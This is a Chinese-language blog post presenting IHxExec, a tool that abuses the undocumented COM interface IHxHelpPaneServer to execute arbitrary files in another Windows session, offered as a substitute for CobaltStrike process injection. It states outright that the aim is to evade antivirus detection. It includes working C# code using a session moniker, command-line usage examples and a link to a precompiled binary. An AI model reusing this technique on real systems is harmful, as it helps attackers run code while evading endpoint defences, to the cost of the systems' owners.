替代进程注入的新工具

目录

前言

[Windows Session 的利用](#Windows Session 的利用)

[Windows Session 介绍](#Windows Session 介绍)

跨会话激活技术

什么是跨会话激活机制?

常见的跨会话激活技术

结合利用

地址


前言

众所周知,常用的C2工具(例如CobaltStrike)在另一个进程上下文中执行代码经常使用的就是injectshinject命令,这两个命令可以将代码注入到任意远程进程中。例如:

复制代码
inject 5732 x64

但是进程注入方案现在已经被杀软监测得死死的,尤其是某数字公司,只有在当前进程上下文中进行注入才不会被杀。那么除了进程注入外我们是否还有其他方案能在其他进程上下文中执行代码呢?

Windows Session 的利用

Windows Session 介绍

在介绍新工具前,我先讲一下大致的原理,核心就是利用了Windows Session。会话(session)是由进程和其他的系统对象(比如窗口站、桌面和窗口)构成的,他们代表了一个用户的工作站登录会话。Windows系统是支持多会话的,因此会话空间(session space)包含了一些针对每个会话的全局信息。Session的创建一般有以下两种方式:

  • 本地会话:用户在物理机上登录,创建一个会话。
  • 远程会话:同一用户通过远程桌面连接到同一台机器,也会创建一个新的会话。

我们可以通过输入quser来查询当前Session:

Windows中net session的利用也可以查看这里,进行进一步了解,例如窃取Session来进行提权(前提是获得了SeImpersonate或者SeAssignPrimaryToken权限)。

跨会话激活技术

什么是跨会话激活机制?

跨会话激活机制是指在不同的用户会话之间执行某些操作或激活某些功能。这种机制在多用户环境(如终端服务器或远程桌面服务)中尤为重要,因为不同用户的会话是隔离的。

常见的跨会话激活技术

Windows 服务:Windows 服务运行在会话0中,可以与其他用户会话进行交互。例如,服务可以在用户登录时启动某些进程。

任务计划程序:可以使用任务计划程序在特定的用户会话中执行任务。

远程桌面服务(RDS):可以通过 RDS 在不同用户会话之间进行操作。

COM 和 DCOM:组件对象模型(COM)和分布式组件对象模型(DCOM)可以在不同会话之间进行对象调用。

WTS APIs:Windows 终端服务(WTS)API 提供了一组函数,用于跨会话管理和操作。

结合利用

如果存在Session1和Session2,在Session1中利用跨会话激活技术来在Session2中执行代码,就与进程注入相差无疑了。流程为:

创建服务器会话(Session1)和客户端会话(Session2) 客户端会话是用来接收创建COM对象请求的会话,通过调用该COM对象的方法,客户端将能够在其会话中执行代码。

其中最为重要的则是如何执行代码,此处使用P0在2016年公布的一个未文档化的接口:IHxHelpPaneServer,该接口很有用,因为它提供了一个 Execute 方法,允许在系统上执行任意文件。使用方法为:

cs 复制代码
using System;
using System.Runtime.InteropServices;

namespace IHxHelpPaneServer
{
    static class Program
    {
        static void Main()
        {
            var path = "file:///C:/Windows/System32/calc.exe";
            var session = System.Diagnostics.Process.GetCurrentProcess();
            Server.execute(session.SessionId.ToString(), path); // u can change session id here
        }
    }

    static class Server
    {
        [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        interface IHxHelpPaneServer
        {
            void DisplayTask(string task);
            void DisplayContents(string contents);
            void DisplaySearchResults(string search);
            void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
        }

        public static void execute(string new_session_id, string path)
        {
            try
            {
                IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); // alert alert red flag
                Uri target = new Uri(path);
                server.Execute(target.AbsoluteUri);
            }
            catch
            {

            }
        }
    }
}

那么如何在其他session中创建com接口呢,可以使用IStandartActivator+ISpecialSystemProperties。详情查看这里。在大多数情况下,我们都并非在多session环境中上线的,有趣的是在单session环境中,我们仍可以调用此接口进行代码执行,虽然Session未进行切换,但是IHxHelpPaneServer在杀软绕过上仍然奏效(可以理解为com接口的滥用仍起作用)。那么这里就有两套方案:

单session(常用情况):

复制代码
.\IHxExec.exe -s 1 -c C:/Windows/SYSTEM32/CALC.EXE

多session:

复制代码
.\IHxExec.exe -s 2 -c C:/Windows/SYSTEM32/CALC.EXE

地址

本文使用工具下载地址(已编译):https://pan.quark.cn/s/6737c50e12da

相关项目(未编译):https://github.com/CICADA8-Research/IHxExec

相关推荐
Hello.Reader6 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
智驱力人工智能7 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
数据与后端架构提升之路8 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
市场部需要一个软件开发岗位9 小时前
JAVA开发常见安全问题:Cookie 中明文存储用户名、密码
android·java·安全
lingggggaaaa9 小时前
安全工具篇&动态绕过&DumpLsass凭据&Certutil下载&变异替换&打乱源头特征
学习·安全·web安全·免杀对抗
凯子坚持 c9 小时前
CANN-LLM:基于昇腾 CANN 的高性能、全功能 LLM 推理引擎
人工智能·安全
QT.qtqtqtqtqt10 小时前
未授权访问漏洞
网络·安全·web安全
ba_pi13 小时前
每天写点什么2026-02-04(2.1)信息安全
安全·web安全
枷锁—sha13 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
菩提小狗14 小时前
小迪安全2023-2024|第5天:基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载_笔记|web安全|渗透测试|
笔记·安全·web安全